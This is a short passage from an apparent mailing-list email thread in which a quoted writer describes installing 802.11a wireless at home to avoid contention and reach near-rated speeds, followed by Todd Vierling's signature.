resorted to > installing 802.11a throughout my house. Zero contention for airwaves > and I can actually get close to rated speed for data transmission.) > > -- > -- Todd Vierling <tv(a)duh.org> <tv(a)pobox.com> <todd(a)vierling.name>

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